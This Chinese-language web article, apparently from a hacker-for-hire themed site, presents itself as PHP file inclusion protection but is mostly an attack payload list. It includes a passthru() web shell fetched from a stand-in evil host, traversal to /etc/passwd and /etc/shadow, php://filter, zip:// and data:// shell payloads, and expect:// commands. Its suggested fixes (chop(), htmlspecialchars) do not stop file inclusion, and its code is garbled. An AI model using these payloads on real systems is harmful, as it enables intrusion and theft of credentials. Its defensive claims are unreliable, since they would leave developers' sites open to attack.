文件包含漏洞防护以及常见的文件读取payload

访客4年前关于黑客接单893

前言:与许多漏洞利用一样,文件包含漏洞是一种很常见的漏洞。本文将给您一个保护您的网站的范例,文末会提供一些文件读取的常见payload。本文将以PHP格式提供代码示例。

一、安全示例

现在请看下面的代码

<a href=https://www.freebuf.com/articles/web/index.php?page=file1.php> Files </a>
<? Php
$page=$ _GET [page];
include ($ page);
?>


这里显然不应该使用它。$page变量并未完全清除。 $page输入直接定向到网页,这是一个很大错误。这里删除通过浏览器传递的所有输入。当用户在访问网页时单击“文件”访问到“ files.php”时,将出现下面的内容。

http://localhost/index.php?page=files.php

现在,如果没有一个清理输入中变量$page,我们可以利用它执行我们的命令。如果主机在Unix/Linux服务器,我们可以读取用户密码,如下面的url所示。

http://localhost/index.php?page=.. //etc/passwd

上面的url会返回/etc/passwd

<a href=https://www.freebuf.com/articles/web/index.php?page=file1.php> Files </a>
<? Php
$ page=$ _GET [page];
include ($ page);
?>

现在假设我们输入的url如下

http://localhost/index.php?page=http://google.com/

可能是$ page变量最初放置在页面上的位置,我们得到了google.com主页。我们都知道c99(shell)可以做什么,并且如果编码人员注意的话,它们可能会包含在页面中,从而允许用户在浏览敏感文件。让我们看一下网页上可能发生的一些更简单的事情。现在,我们创建一个名为“ test.php”的文件,并将以下代码放入其中,然后保存。

<? Php
passthru ($ _ GET [cmd]);
?>

我们可以利用此文件来利用它, PHP中的passthru()函数是非常危险的。使用test.php中的这段代码,我们可以向网页发送请求,包括文件包含漏洞。如以下url所示

http://localhost/index.php?page=http: //someevilhost.com/test.php

当代码使用$_GET请求,我们必须提供一个参数传递给passthru(). 我们可以在url中这样输入。

http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

这unix机器也将提取的文件/etc/passwd使用的cat的命令。现在我们需要知道如何控制它,使任何人都不可能执行命令,和如何包括远程执行你的服务器命令。 我们可以禁止passthru()函数。正如前文所述我们可以清除输入。我们这里可以在函数中使用一些PHP建议的结构。最初,perl的chop()函数适应了PHP,该PHP从数组中删除了空格。我们可以这样使用它。

<a href=https://www.freebuf.com/articles/web/index.php?page=file1.php> Files </a>
<? Php
$ page=chop ($ _ GET [page]);
include ($ page);
?>

php中有许多函数可以清除字符串,如htmlspecialchars()htmlentities(),stripslashes()等。我们可以在PHP中执行一个可以为所有内容的函数。如下面代码所示

<? Php
function cleanAll ($ input) {
$ input=strip_tags ($ input);
$ input=htmlspecialchars ($ input);
return ($ input);
}
?>

这里还可以使用str_replace()函数,并且还有很多其他函数可以清除它们。

更多的可以参考《php安全之道》这本书。

文件读取常见payload

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=https://www.freebuf.com/etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=..https://www.freebuf.com/articles//..https://www.freebuf.com/articles//etc/passwd

经常查看的文件

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*? ?
/proc/self/environ
/proc/version
/proc/cmdline

空字节,双编码和其他技巧

http://example.com/index.php?page=http://baidu.com/shell.txt
http://example.com/index.php?page=http://baidu.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252baidu.com%252fshell.txt

rot13和base64-php://filter 大小写

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

zip

echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php; ?
zip payload.zip payload.php;
mv payload.zip shell.jpg; ? ?
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

data

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

except

http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

x-httpd

http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

upload

http://example.com/index.php?page=path/to/uploaded/file.png

/proc/*/fd

http://example.com/index.php?page=/proc/$PID/fd/$FD


相关文章

区块大富豪:合成类游戏,免费赚1元以上!

前面推过不少这种合成类模式的游戏了,最大问题就是单干赚钱慢,提现门槛高。区块大富豪,虽不算完善解决这两个痛点,但也有些许创新,每升一级可以拆到几毛的红包,首次满1米可直接提现,亲测秒到微信零钱!...

国务院督查通报形式缅甸语翻译主义官僚主义典型问题

  关于国务院第七次大督查发现部分地方和单位形式主义官僚主义典型问题的通报   2020年10月,按照国务院第七次大督查的统一部署,14个国务院督查组分赴14个省(区、市)和新疆生产建设兵团开展实地...

不用密保登录qq软件(免密保登录软件)

不用密保登录qq软件(免密保登录软件)

本文导读目录: 1、QQ知道密码,怎样绕过安全验证直接登录? 2、QQ登不上,要验证,原来的手机号没用了,怎么办? 3、qq密保手机不用了如何登录? 4、QQ登不上去,必须要密保手机,但是...

男生哪些软肋抓住后就是一辈子呢 操作方法和技巧

我们总是认为女孩在情感世界里是敏感的,但事实上,男孩也是如此,他们在内心深处非常渴望温暖,但由于嘴巴的硬,导致很多男孩被误解了。 男生哪些软肋抓住后就是一辈子呢 1.他们心里是很多软的,是很多女孩...

黑客攻击支付宝节目是什么(黑客挑战支付宝的节目视频完整)

黑客攻击支付宝节目是什么(黑客挑战支付宝的节目视频完整)

最强大脑支付宝攻防是哪一期 最强大脑黑客攻击支付宝是《智造将》20190203期。现场上演了一场惊心动魄的黑客攻击支付宝账户的演练,其中,“黑客”由自杭支队的网络研究员精英团队扮演,防守方是支付宝智能...

玩赚联盟兼职可靠吗(玩赚联盟怎么接任务)

玩赚联盟兼职可靠吗(玩赚联盟怎么接任务)

首先声明一点,这篇文章没有干货,没有,没有,没有!我无意耽误您宝贵的时间,哪怕你的时间是用来,上厕所,吹牛聊天,看短视频的,我也觉得那样有失我本意。   再次说明,本文只是有感而发,只是发现了...